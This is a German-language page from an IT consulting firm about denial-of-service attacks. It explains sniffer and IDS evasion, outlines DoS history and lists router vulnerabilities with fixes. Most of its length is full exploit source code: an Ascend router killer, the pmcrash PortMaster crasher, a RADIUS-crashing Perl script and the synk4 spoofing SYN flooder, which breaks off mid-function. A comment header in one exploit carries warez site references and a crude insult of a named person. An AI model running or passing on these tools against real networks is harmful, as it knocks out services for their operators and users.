GCCSI

Ihr Dienstleister in:

Gürbüz Computer Consulting & Service International 1984-2007 l Önder Gürbüz l Aar Strasse 70 l 65232 Taunusstein
info@gccsi.com l +49 (6128) 757583 l +49 (6128) 757584 l +49 (171) 4213566

Denial of Service

Denial of Service ist ein Synonym für die Kunst bzw. den Unsinn des Verhinderns eines Zugriffs oder Nutzens eines Computers oder eines davon zur Verfügung gestellten Dienstes. Denial of Service bedeutet soviel wie etwas unzugäglich machen, oder ausser Betrieb setzen, was in manchen Fällen für legitime Benutzer von Wichtigkeit sein kann. Diese Attacken nutzen immer Bugs und Schwachstellen von Programmen, Betriebssystemen oder Fehlimplementationen von Protokollen aus. Es existieren daher auch verschiedene Formen von DoS-Attacken, die grundsätzlich in drei Hauptgruppen unterteilt werden können:

1. DoS-Angriffe auf Hardware: Jedes Element in einem Netzwerk (Router, Switches, Hubs, etc.) kann durch DoS-Attacken (negativ) beeinflusst werden.
2. DoS-Angriffe gegen Betriebssysteme: Die wohl mitunter populärste Version von DoS-Attacken richtet sich gegen die Unstabilität des Betriebssystems.
3. DoS-Angriffe gegen Applikationen: Hierbei liegt der Schwerpunkt bei DoS-Attacken gegen Applikationen von Dirttanbietern, die unter Umständen die Redundanz des ganzen Systems oder Netzwerks beeinträchtigen können.

Entgegen der allgemein gültigen Meinung können auch Netzwerkscanner, Sniffer und IDS (Intrusion Detect Systeme) von solchen DoS-Angriffen betroffen sein. Der Grund dafür ist, dass Sniffer stets auf dem Kernel des Betriebssystems aufbauen und somit von ihm abhängig sind. Sniffer müssen einen eigenen TCP/IP-Stack besitzen, da ihnen sonst das Ausführen eines Traceroute einer Netzwerkverbindung verwehrt bleiben würde. Die meisten freien und kommerziellen Scanner haben dabei ein kleines Problem: Sind sie auf Spurenverfolgung einer Verbindung, so sind sie nicht mehr in der Lage andere Verbindungen gleichzeitig zu observieren. Um diese Aufgabe bewältigen zu können, müssten sie gleichzeitig die Arbeit aller TCP/IP-Stacks im Netzwerk auf sich nehmen, wobei dies von der Rechenleistung einer einzelnen CPU nicht verlangt werden kann. Daher entgeht ihnen stets ein grosser Prozentsatz des gesamten Traffics. Ein Angreifer muss sich bei einer dynamischen Attacke stets auf zwei Rechner beschränken, wie dies bei aktiven IDS (Intrusion Detection Systeme) der Fall ist. Sniffer und Netzwerkscanner, die auf einem Server zur Überwachung eines einzelnen Ports abgerichtet sind, können mit einem einfachen Trick sillgelegt werden: Bevor er sich zum Beispiel via Telnet auf Port 23 einloggt, sendet er ein gespooftes SYN-Paket. Falls ein Sniffer nun aktiv ist, wird er logischerweise nach Erhalt und Analyse des gespooften Pakets die Verbindung auf Port 23 im Auge behalten. So kann sich der Angreifer danach einloggen, ohne dass der Sniffer das Passwort mitscannen kann. Nach einer gewissen Zeit, wenn der TCP/IP-Stack die Verbindung aufgrund des Timeouts kappt, ist der Sniffer wieder regulär aktiv. Ein weiteres Problem besteht darin, dass ein Sniffer nicht wirklich in eine Verbindung hineinschauen kann. Er nimmt also am Datenaustausch nicht bei, wie das bei den beiden beobachteten Rechnern der Fall ist. Er trifft aus diesen Gründen bezüglich IP- und TCP-Paketlänge bestimmte Annahmen und interpretiert die Pakete nach diesem Standartschema. Wird nun eine Änderung bezüglich der Länge des TCP-Headers und der sporadischen Einschleusung von falschen Prüfsummen vorgenommen, die nicht mehr der zuvor errechneten Länge entsprechen, kann er die Inhalte der Pakete nicht mehr korrekt interpretieren. Der Sniffer überprüft die TCP-Prüfsummen nicht mehr, wobei die Kernel der betroffenen Systeme diese "falschen" Pakete einfach verwerfen werden und somit die Übertragung korrekt ausführen. Sniffer brechen zum Teil auch nach einem FIN- oder RST-Paket ihre Überwachung ab. Befindet sich einer dieser jedoch in einem TCP-Paket mit weit entfernter Sequenznummer, so werden die zu überwachenden Rechner dieses verwerfen und mit ihrer Übertragung normal fortfahren. Der Sniffer hingegen hält die Verbindung für beendet, und er stellt seine Arbeit ein. Manche Betriebssysteme, wie zum Beispiel Windows NT und Digital Unix, überprüfen bei einem RST die TCP-Sequenznummern nicht. Sind also auf einem solchen System Sniffer aktiv, ist es einem Angreifer leicht möglich, diese mit einem gespooften Paket mit gesetztem RST-Flag in einen passiven Zustand für die kommenden Pakete zurückzusetzen.

Jeder, der schon einmal ein wissenschaftlich fundiertes Buch über die Entstehung und Entwicklung des Internets gelesen hat, wurde im Eingangs-Kapitel damit konfrontiert, dass das Internet ursprünglich vom US-Militär für jenen Zweck entwickelt wurde ein möglichst stabiles ezentrales Netzwerk zu errichten, dass sogar einen atomaren Schlag überstehen könnte. Gegen Ende des Jahres 1962 lieferte Paul Baran von der Rand Corporation einen ersten Entwurf, welcher 1969 in Tat und Wahrheit umgesetzt wurde. Während über 30-jährigen Geschichte des Internets traten jedoch vereinzelte Situationen in Kraft, die einem gesamthaften Zusammenbruch sehr nahe kamen. Der wohl mitunter

bekannteste Vorfall dieser Sparte offenbarte 1988 seine destruktive Absicht, als der berühmt berüchtigte Internet-Wurm von Robert Tappan Morris mit seinem bösartigen Code rund 50'000 Rechner zum Stillstand brachte. Um jedoch zu den Wurzeln und indirekt der Entstehung von Denial of Service-Attacken zurückzugehen, müssen wir uns in unserer Phantasie einer Zeitreise ins Jahr 1980 bemächtigen. Als Ronald Reagan und Jimmy Carter im Oktober sich in den Präsidentschaftswahlen verstrikten, umfasste der Vorgänger des Internets, das ARPAnet, nur rund 200 Hosts und wurde vorwiegend von Forschern und Wissenschaftlern für ihre Arbeit genutzt. Am 27. Oktober 1980 gingen diese besagten Gelehrten an ihre Terminals, um mit Schrecken festzustellen, dass ein Grossteil des ARPAnets zum Erliegen gekommen war. Eine Welle von Anrufen überschwemmte das Network Control Center (NCC), und so wurde schnell klar, dass das Problem kein lokales war, sondern praktisch jedes Subnetz betreffen würde. Die Ursache für dieses Problem wurde auf mikroskopischer Ebene gefunden: Ein ziemlich seltsamer Hardware-Fehler generierte fehlerhafte Sequenzen von Netzwerk-Kontrollpaketen. Diese fehlerhafte Konstrukte beeinflussten die Distribution der Software-Ressourcen der Subnetze. Dies führte dazu, dass ein(ige) Prozesse zu viele Ressourcen belegten, so dass für andere Prozesse keine mehr verblieben. Nähere Informationen zu diesem historischen Vorfall finden sich in "RFC 789 - Vulnerabilities of Network Control Protocols: An Example".

Denial of Service gegen Hardware

Die Methodik der DoS-Attacken gegen Hardware ist nicht sonderlich different in Relation mit selbigen Gewaltakten gegen Software anzusehen. In vielen Fällen beeinträchtigen die selben Angriffe beide Ziele gleichermassen negativ:

- Angreifer senden korrupte Verbindungsanfragen mit einer gefälschten, nicht existenten IP-Adressen als Quelle. Da der empfangende Host diese IP-Adresse aufgrund ihres Nichtbestehens nicht auflösen kann, bleibt die aktuelle Sitzung hängen. Dieser Dienst kann einen einzelnen Dienst oder Port, aber auch ganze Rechner und Systeme beeinträchtigen.
- Angreifer belegen alle verfügbaren Dienste und verhindern, dass die Administration und Wartung remote durchgeführt werden kann.
- Angreifer überschwemmen den Host mit deformierten oder speziell aufgebauten Paketen, die der empfangende Host nicht korrekt verarbeiten kann.

Im Februar 1999 berichteten Wissenschaftler unabhängig von einander, dass viele Router gegen generelle Überlauf-Attacken, die meist in Denial of Service-Zuständen enden können, nicht gewappnet sind. Ein Angreifer kann einen TCP-Port dadurch negativ beeinflussen, indem er eine Telnet-Sitzung hängen lässt. Wenn genug solcher korrumpierten Verbindungen bestehen, kann das System zum Erliegen gebracht werden. Solche generelle Angriffe lassen sich dadurch verhindern, dass auf eine Remote-Administration verzichtet wird, um die dadurch unnötig werdenden Dienste und Ports zu deaktivieren.

Beim Kauf der aktuellsten Netzwerkhardware sollte das Risiko durch ausnutzbare Fehler absolut minimiert sein. Gerade aktuelle Firmware ist temporär als sehr sicher inzustufen, doch steigt der bedrohliche Faktor unaufhaltsam exponentiell mit dem Fortlauf der Zeit. Nicht jeder hat bedauerlicherweise die Mittel, um sich stets mit aktuellen Geräten versorgen zu können, um den Risikofaktor aktiv einzudämmen. Versuchen Sie jedoch stets auf dem neuesten Stand der Entwicklungen (neue DoS-Attacken erschliessen meist neue Firmware) zu sein. Treten Sie im Zweifelsfalle in Kontakt mit dem Hersteller ihres eingesetzten Produkts, um über Neuerungen informiert zu werden und von ihnen zu profitieren.

Folgend möchte ich nun einige DoS-Attacken gegen Netzwerk-Hardware kurz erklären, um einen Überblick der damit in Zusammenhang stehenden Methoden gewährleisten zu können. Die erläuterten Angriffe repräsentieren keinesfalls eine lückenlose Liste aller Schwachstellen in Netzwerk-Hardware, und versucht nur den tieferen Kern der Thematik zu tangieren.

Ascend Max/Pipeline

Angreifer können die Router von Ascend, welche mit dem OS 5.0a ausgestattet sind dadurch zum Absturz bringen

bzw. einen Reboot erzwingen, dass eine Telnet-Sitzung zu Port 150 geöffnet wird um danach einen bestimmten Text-String zu senden.

Die Modelle Max und Pipeline warten zusätzlich mit Java Configurator, einem Tool, das automatisch Router des gleichen Herstellers in einem spezifischen Netz lokalisieren kann, auf. Dieses integrierte Utility horcht auf Port 9, welcher alsdann anfällig auf speziell formierte Pakete wird: Dadurch kann der ganze Router eingefroren werden.

Viele Ascend-Router können zusätzlich dadurch zum Absturz gebracht werden, indem sie dazu gezwungen werden TCP-Offsets mit einer anderen Länge als Null zu verarbeiten. Dieses Vorhaben kann mit folgendem Exploit durchgesetzt werden, welcher als C-Quelltext aufwartet:

```
/*
        The Posse Brings you:

                The Linux Ascend Kill Program!

             Kill your local ISP (or even non-local)

3133731337313373133731337313373133731337313373133731337313373133731337313373133731337
1
3
3
1
3 Because Ascend has such a strong programming department that
would      3
7 never under any circumstances release a version of their code
which     3
3 contained a
bug.                                                        7
1
3
3 Well.  Ascend did it again.  Those pesky non zero length tcp
offset's   1
3 do it everytime!  Are those fault lights available in christmas
colors  3
7 in time for the season?
h0h0h0..                                          3
3
7
1 BTW, if anyone has any pictures of MSN pops, please post them
to        3
3 someplace public so we can all share in the season
spirit.              1
3
3
7 - The Posse is
back!                                                   3
3
7
1 greetz to : alpha bits, the grave digger, and fast
freddy.              3
3
1
```

```
3 Goto our eleet ftp
sitez:                                                  3
7
3
3
7
1 The Dark Dungeon    198.34.1xx.xxx 600 gigz
online!                     3
3 Strobe Room         34.101.1xx.xxx 1TB of Warez and H/P/V/A/C/K
text    1
3
3
731337313373133731337313373133731337313373133731337313373133731337313373133
3
7
1     2600.com is run off vnetmax.villagenet.com
(205.136.35.3)           3
3   Keep your support of 2600, help Emmanuel play with his little
boys    1
3
3
731337313373133731337313373133731337313373133731337313373133731337313373133

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_tcp.h>
#include <netinet/protocols.h>
#include <netdb.h>

unsigned short compute_tcp_checksum(struct tcphdr *th, int len,
          unsigned long saddr, unsigned long daddr)
{
        unsigned long sum;
        __asm__("
            addl %%ecx, %%ebx
            adcl %%edx, %%ebx
            adcl $0, %%ebx
            "
        : "=b"(sum)
        : "0"(daddr), "c"(saddr), "d"((ntohs(len) << 16) +
IPPROTO_TCP*256)
        : "bx", "cx", "dx" );
        __asm__("
            movl %%ecx, %%edx
```

```
                cld
                cmpl $32, %%ecx
                jb 2f
                shrl $5, %%ecx
                clc
    1:          lodsl
                adcl %%eax, %%ebx
                lodsl
                adcl %%eax, %%ebx
                lodsl
                adcl %%eax, %%ebx

                lodsl
                adcl %%eax, %%ebx
                lodsl
                adcl %%eax, %%ebx
                lodsl
                adcl %%eax, %%ebx
                lodsl
                adcl %%eax, %%ebx
                lodsl
                adcl %%eax, %%ebx
                loop 1b
                adcl $0, %%ebx
                movl %%edx, %%ecx
    2:          andl $28, %%ecx
                je 4f
                shrl $2, %%ecx
                clc
    3:          lodsl
                adcl %%eax, %%ebx
                loop 3b
                adcl $0, %%ebx
    4:          movl $0, %%eax
                testw $2, %%dx
                je 5f
                lodsw
                addl %%eax, %%ebx
                adcl $0, %%ebx
                movw $0, %%ax
    5:          test $1, %%edx
                je 6f
                lodsb
                addl %%eax, %%ebx
                adcl $0, %%ebx
    6:          movl %%ebx, %%eax
                shrl $16, %%eax
                addw %%ax, %%bx
                adcw $0, %%bx
                "
            : "=b"(sum)
            : "0"(sum), "c"(len), "S"(th)
            : "ax", "bx", "cx", "dx", "si" );
```

```
        return((~sum) & 0xffff);
}

#define psize ( sizeof(struct iphdr) + sizeof(struct tcphdr)  )
#define tcp_offset  ( sizeof(struct iphdr) )
#define err(x) { fprintf(stderr, x); exit(1); }
#define errors(x, y) { fprintf(stderr, x, y); exit(1); }
struct iphdr temp_ip;
int temp_socket = 0;

u_short
ip_checksum (u_short * buf, int nwords)
{
  unsigned long sum;

  for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
  sum = (sum >> 16) + (sum & 0xffff);
  sum += (sum >> 16);
  return ~sum;
}

void
fixhost (struct sockaddr_in *addr, char *hostname)
{
  struct sockaddr_in *address;
  struct hostent *host;

  address = (struct sockaddr_in *) addr;
  (void) bzero ((char *) address, sizeof (struct sockaddr_in));
  address->sin_family = AF_INET;
  address->sin_addr.s_addr = inet_addr (hostname);
  if ((int) address->sin_addr.s_addr == -1)
    {
      host = gethostbyname (hostname);
      if (host)
        {
          bcopy (host->h_addr, (char *) &address->sin_addr,
                 host->h_length);
        }
      else
        {
          puts ("Couldn't resolve address!!!");
          exit (-1);
        }
    }
}

unsigned int
lookup (host)
     char *host;
{
  unsigned int addr;
```

```
  struct hostent *he;

  addr = inet_addr (host);
  if (addr == -1)
    {
      he = gethostbyname (host);
      if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list ==
NULL))
        return 0;

      bcopy (*(he->h_addr_list), &(addr), sizeof (he->h_addr_list));
    }
  return (addr);
}

unsigned short
lookup_port (p)
     char *p;
{
  int i;
  struct servent *s;

  if ((i = atoi (p)) == 0)
    {
      if ((s = getservbyname (p, "tcp")) == NULL)
        errors ("Unknown port %s\n", p);
      i = ntohs (s->s_port);
    }
  return ((unsigned short) i);
}

void
spoof_packet (struct sockaddr_in local, int fromport, \
           struct sockaddr_in remote, int toport, ulong sequence, \
           int sock, u_char theflag, ulong acknum, \
           char *packdata, int datalen)
{
  char *packet;
  int tempint;
  if (datalen > 0)
    datalen++;
  packet = (char *) malloc (psize + datalen);
  tempint = toport;
  toport = fromport;
  fromport = tempint;
  {
    struct tcphdr *fake_tcp;
    fake_tcp = (struct tcphdr *) (packet + tcp_offset);
    fake_tcp->th_dport = htons (fromport);
    fake_tcp->th_sport = htons (toport);
    fake_tcp->th_flags = theflag;
    fake_tcp->th_seq = random ();
    fake_tcp->th_ack = random ();
```

```
    /* this is what really matters, however we randomize everything
else
       to prevent simple rule based filters */
    fake_tcp->th_off = random ();
    fake_tcp->th_win = random ();
    fake_tcp->th_urp = random ();
  }
  if (datalen > 0)
    {
      char *tempbuf;
      tempbuf = (char *) (packet + tcp_offset + sizeof (struct
tcphdr));
      for (tempint = 0; tempint < datalen - 1; tempint++)
        {
          *tempbuf = *packdata;
          *tempbuf++;
          *packdata++;
        }
      *tempbuf = '\r';
    }
  {
    struct iphdr *real_ip;
    real_ip = (struct iphdr *) packet;
    real_ip->version = 4;
    real_ip->ihl = 5;
    real_ip->tot_len = htons (psize + datalen);
    real_ip->tos = 0;
    real_ip->ttl = 64;
    real_ip->protocol = 6;
    real_ip->check = 0;
    real_ip->id = 10786;
    real_ip->frag_off = 0;
    bcopy ((char *) &local.sin_addr, &real_ip->daddr, sizeof (real_ip-
>daddr));
    bcopy ((char *) &remote.sin_addr, &real_ip->saddr, sizeof (real_ip-
>saddr));
    temp_ip.saddr = htonl (ntohl (real_ip->daddr));
    real_ip->daddr = htonl (ntohl (real_ip->saddr));
    real_ip->saddr = temp_ip.saddr;
    real_ip->check = ip_checksum ((u_short *) packet, sizeof (struct
iphdr) >> 1);
    {
      struct tcphdr *another_tcp;
      another_tcp = (struct tcphdr *) (packet + tcp_offset);
      another_tcp->th_sum = 0;
      another_tcp->th_sum = compute_tcp_checksum (another_tcp, sizeof
(struct tcphdr) + datalen,
                                          real_ip->saddr, real_ip-
>daddr);
    }
  }
  {
    int result;
    sock = (int) temp_socket;
```

```
    result = sendto (sock, packet, psize + datalen, 0,
                     (struct sockaddr *) &remote, sizeof (remote));
  }
  free (packet);
}

void
main (argc, argv)
     int argc;
     char **argv;
{
  unsigned int daddr;
  unsigned short dport;
  struct sockaddr_in sin;
  int s, i;
  struct sockaddr_in local, remote;
  u_long start_seq = 4935835 + getpid ();

  if (argc != 3)
    errors ("Usage: %s <dest_addr> <dest_port>\n\nDest port of 23 for
Ascend units.\n",
          argv[0]);

  if ((s = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err ("Unable to open raw socket.\n");
  if ((temp_socket = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1)
    err ("Unable to open raw socket.\n");
  if (!(daddr = lookup (argv[1])))
    err ("Unable to lookup destination address.\n");
  dport = lookup_port (argv[2]);
  sin.sin_family = AF_INET;
  sin.sin_addr.s_addr = daddr;
  sin.sin_port = dport;
  fixhost ((struct sockaddr_in *)(struct sockaddr *) &local, argv[1]);
  fixhost ((struct sockaddr_in *)(struct sockaddr *) &remote,
argv[1]);
  /* 500 seems to be enough to kill it */
  for (i = 0; i < 500; i++)
    {
      start_seq++;
      local.sin_addr.s_addr = random ();
      spoof_packet (local, random (), remote, dport, start_seq, (int)
s,
        TH_SYN | TH_RST | TH_ACK, 0, NULL, 0);
    }
}
```

Cisco (IOS 12.0)

Die Router mit IOS 12.0 aus dem Hause Cisco sind anfällig für UDP-Scan-Angriffe auf den Syslog-Port (UDP-Port 514). Eine solche Attacke kann zum Beispiel mit den Netzwerkscanner nmap von Fyodor generiert werden.

Die Lösung besteht darin, den extern einkommenden Syslog-Netzwerkverkehr zu filtern oder gar zu blocken.

Cisco 76x

Einige Cisco-76x-Modelle mit IOS 4.1, 4.1.1 und 4.1.2 sind anfällig auf einen primitiven Überlauf-Angriff. Angreifer kontaktieren den Router mittels Telnet und geben einen sehr langen Text-String während des Login-Vorgangs aus. Als Reaktion auf diese Aktion stürzt das Gerät entweder ab oder unterwirft sich mit einem Neustart.

Als Lösung sollte ein Update auf IOS/700 4.1 (2.1) in Anbetracht gezogen werden. Zusätzlich sollte man im Zweifelsfall mit Cisco direkt in Kontakt treten, um den weiteren Fortlauf zu stärkung der Sicherheit des Gerätes abzusprechen.

Cisco 1000

Die 1000er-Modelle von Cisco mit IOS 9.1+ können durch einen Remote-Angriff zum Absturz verleitet werden.

Die Lösung des Problems besteht im Update der Firmware, welches sie direkt bei Cisco beziehen können.

Cisco 2500

Diese Modelle mit IOS 10.2 sind anfällig für ein UDP-Flooding auf Port 9.

Die Lösung ist wiederum ein Update oder Filterung des ungewünschten Datenverkehrs.

Cisco Catalyst

Viele Catalyst-Modelle von Cisco fahren einen undokumentierten TCP/IP-Dienst, der eine gesonderte Gefahr in sich birgt: Angreifer können sich mit diesem Service verbinden und ihn zu einer DoS-Attacke gegen das eigene Gerät nutzen.

Im März 1999 veröffentlichte Internet Security Systems einen Artikel zu diesem Vorfall, der sich mit Firmware-Update verhindern lässt.

Cistron RADIUS 1.16

Der RADIUS-Server in der Version 1.16 von Cistron ist eine beliebte und kostengünstige Alternative unter Linux im Gegensatz zu den teuren RADIUS-Server-Paketen. Leider ist er anfällig eine DoS-Attacke auf Port 1646, welche mit folgendem Perl-Script von Hamdi Tounsi automatisiert und in Bugtraq am 21. April 1998 publiziert wurde:

```
#!/usr/bin/perl
use Authen::RadiusAcct;
$r = new Authen::RadiusAcct(Host => 'radiushost:1646', Secret =>
'any_secret');
$r->load_dictionary;
$r->add_attributes(
        {Name => 'User-Name', Value => 'dummy'},
        {Name => 'Framed-Filter-Id',Type =>'string',Value
=>pack('A4096','A')},
        );

$r->send_packet(4);
}
```

Die Simple lösung lässt sich mit dem Wort Update einfach umschreiben. Trotzdem würde ich Ihnen aus Kostengründen raten, stets auf den sehr komfortablen GNU-Server auszuweichen, obschon diese kleine Sicherheitslücke einem bedenklich stimmen kann.

Flowpoint DSL 2000

Die Flowpoint-Software 1.2.3 ist anfällig auf einen peinlichen Überlauf, der in einer DoS-Attacke endet: Ein Angreifer muss einfach den Prompt mit sinnlosen Zeichen überfluten lassen.

Zur Lösung rate ich Ihnen ein Update auf mindestens Version 1.4.1 vorzunehmen.

Microcom 6000

Microcoms Zugriffsinterogatoren sind anfällig auf einen primitiven DoS-Angriff. Angreifer können einem Amdinistrator das verhindern, indem Telnet-Sitzungen zum Erliegen gebracht werden, damit keine weiteren Verbindungen mehr hergestellt werden können.

Ein Update der Firmware schafft Abhilfe.

Livingston 1.16

Die Portmaster-Modelle 1.16 von Livingston sind im Client-Zustand anfällig auf eine obskure DoS-Attacke:

```
/*      The following code will crash ANY Livingston PortMaster.
        It telnets the the portmaster and overflows its buffers.

        Thanks to 'The Doc' for this one.       */



/* pmcrash - note this'll work much faster if all your arguments
            are IP addresses.. mainly because I didn't feel like
            coding a structure to keep track of all the resolved
            names.. so write a script to resolve your list of
            names first, then provide those as arguments */

/* This program is free software; you can redistribute it and/or
modify
 * it under the terms of the GNU General Public License as published
by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 */
```

```
/* Compiling instructions:

   Linux:
     gcc -O2 -fomit-frame-pounter -s -o pmfinger pmfinger.c

   Solaris 2.4:
     cc -O -s -o pmfinger pmfinger.c -lsocket -lnsl -lresolv -lucb

*/

#include <sys/time.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <pwd.h>

#ifndef sys_errlist
extern char *sys_errlist[];
#endif

#ifndef errno
extern int errno;
#endif

/* Inet sockets :-) */
int num=0;
int socks[250];

/* show sessions flag */
unsigned short int showflag=0;

char *
mystrerror(int err) {
  return(sys_errlist[err]);
}

void
exitprog(void) {
  while(num--) {
    shutdown(socks[num-1],0);
    close(socks[num-1]);
  }
```

```
  exit(0);
}

unsigned long int
resolver(host)
char *host;
{
  unsigned long int ip=0L;

  if(host && *host && (ip=inet_addr(host))==-1) {
    struct hostent *he;

    if(!(he=gethostbyname((char *)host)))
      ip=0L;
    else
      ip=*(unsigned long *)he->h_addr_list[0];
  }
  return(ip);
}

void
usage(void) {
  puts("pmcrash v0.2a - ComOS System Rebooter :-)\n"
       "Copyright (C) 1995 LAME Communications\n"
       "Written by Dr. Delete, Ph.D.\n\n"
       "Usage: pmcrash <portmaster>[:port] [<portmaster>[:port] ...
]\n");
  exit(0);
}

void
main(int argc,char *argv[]) {
  unsigned short int port=0,x=1;
  struct sockaddr_in server;
  char crash[] = { 0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3,0xFF,0xF3
};
  char *temp;

  if(argc<2)
    usage();

  signal(SIGPIPE,(void (*)())exitprog);
  signal(SIGHUP,(void (*)())exitprog);
  signal(SIGINT,(void (*)())exitprog);
  signal(SIGTERM,(void (*)())exitprog);
  signal(SIGBUS,(void (*)())exitprog);
  signal(SIGABRT,(void (*)())exitprog);
  signal(SIGSEGV,(void (*)())exitprog);

  server.sin_family=AF_INET;

  printf("\nConnecting..."); fflush(stdout);
```

```
  for(;x<argc;x++) {
    if((socks[num]=socket(AF_INET,SOCK_STREAM,0))==-1) {
      fprintf(stderr,"Unable to allocate AF_INET socket:
%s\n",mystrerror(errno));
      exitprog();
    }
    setsockopt(socks[num],SOL_SOCKET,SO_LINGER,0,0);
    setsockopt(socks[num],SOL_SOCKET,SO_REUSEADDR,0,0);
    setsockopt(socks[num],SOL_SOCKET,SO_KEEPALIVE,0,0);
    if((temp=strstr(argv[x],":"))) {
      *temp++=(char)0;
      server.sin_port=htons((atoi(temp)));
    }
    else
      server.sin_port=htons(23);
    if(!(server.sin_addr.s_addr = resolver(argv[x]))) {
      fprintf(stderr,"Unable to resolve host '%s'.\n",argv[x]);
      close(socks[num]);
      continue;
    }
    if(connect(socks[num],(struct sockaddr *)&server,sizeof(struct
sockaddr_in))) {
      printf("!"); fflush(stdout);
      /* fprintf(stderr,"Unable to connect to %s.
(%s)\n",argv[x],mystrerror(errno)); */
      close(socks[num]);
      continue;
    }
    printf("."); fflush(stdout);
    num++;
  }

  printf("\nSweeping..."); fflush(stdout);

  for(x=0;x<num;x++) {
    write(socks[x],crash,10);
    printf("."); fflush(stdout);
  }
  puts("\n");
  sleep(4);
  exitprog();
}
```

Ein Update und die Studien von http://www.dataguard.no/bugtraq/1997_3/0416.html können Abhilfe schaffen.

Osicom ROUTERmate

SYN-Flood-Angriffe können das besagte Router-System zum Absturz gebracht werden. Folgender Exploit mit dem Namen synk_4.c kann für einen Test-Angriff genutzt werden:

```
/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
```

```
 * Some more code by Zakath.
 * Speed/Misc Tweaks/Enhancments -- ultima
 * Nice Interface -- ultima
 * Random IP Spoofing Mode -- ultima
 * How To Use:
 * Usage is simple. srcaddr is the IP the packets will be spoofed
from.
 * dstaddr is the target machine you are sending the packets to.
 * low and high ports are the ports you want to send the packets to.
 * Random IP Spoofing Mode: Instead of typing in a source address,
 * just use '0'. This will engage the Random IP Spoofing mode, and
 * the source address will be a random IP instead of a fixed ip.
 * Released: [4.29.97]
 *  To compile: cc -o synk4 synk4.c
 *
 */
#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
/* These can be handy if you want to run the flooder while the admin
is on
 * this way, it makes it MUCH harder for him to kill your flooder */
/* Ignores all signals except Segfault */
// #define HEALTHY
/* Ignores Segfault */
// #define NOSEGV
/* Changes what shows up in ps -aux to whatever this is defined to */
// #define HIDDEN "vi .cshrc"
#define SEQ 0x28376839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) +
(min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
        register int nleft = len;
        register u_short *w = addr;
        register int sum = 0;
        u_short answer = 0;

        while (nleft > 1)
```

```
          {
                  sum += *w++;
                  nleft -= 2;
          }
        if (nleft == 1)
          {
                  *(u_char *) (&answer) = *(u_char *) w;
                  sum += answer;
          }
        sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16
*/
        sum += (sum >> 16);           /* add carry */
        answer = ~sum;                /* truncate to 16 bits */
        return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
        printf(" [H [JSignal Caught. Exiting Cleanly.\n");
        exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
        printf(" [H [JSegmentation Violation Caught. Exiting
Cleanly.\n");
        exit(crap);
#endif
}

unsigned long getaddr(char *name) {
        struct hostent *hep;

        hep=gethostbyname(name);
        if(!hep) {
                fprintf(stderr, "Unknown host %s\n", name);
                exit(1);
        }
        return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data,
int dlen) {
        char buf[65536];
        struct {  /* rfc 793 tcp pseudo-header */
                unsigned long saddr, daddr;
                char mbz;
                char ptcl;
                unsigned short tcpl;
        } ph;
```

```
        struct sockaddr_in sin; /* how necessary is this, given that
the destination
                                   address is already in the ip header?
*/

        ph.saddr=ih->saddr;
        ph.daddr=ih->daddr;
        ph.mbz=0;
        ph.ptcl=IPPROTO_TCP;
        ph.tcpl=htons(sizeof(*th)+dlen);

        memcpy(buf, &ph, sizeof(ph));
        memcpy(buf+sizeof(ph), th, sizeof(*th));
        memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
        memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
        th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);

        memcpy(buf, ih, 4*ih->ihl);
        memcpy(buf+4*ih->ihl, th, sizeof(*th));
        memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
        memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);

        ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) &
~1);
        memcpy(buf, ih, 4*ih->ihl);

        sin.sin_family=AF_INET;
        sin.sin_port=th->dest;
        sin.sin_addr.s_addr=ih->daddr;

        if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin,
sizeof(sin))<0) {
                printf("Error sending syn packet.\n"); perror("");
                exit(1);
        }
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip,
unsigned short port) {
        int i, s;
        struct iphdr ih;
        struct tcphdr th;
        struct sockaddr_in sin;
        int sinsize;
        unsigned short myport=6969;
        char buf[1024];
        struct timeval tv;

        ih.version=4;
        ih.ihl=5;
        ih.tos=0;                       /* XXX is this normal? */
        ih.tot_len=sizeof(ih)+sizeof(th);
        ih.id=htons(random());
```

```
        ih.frag_off=0;
        ih.ttl=30;
        ih.protocol=IPPROTO_TCP;
        ih.check=0;
        ih.saddr=my_ip;
        ih.daddr=their_ip;

        th.source=htons(srcport);
        th.dest=htons(port);
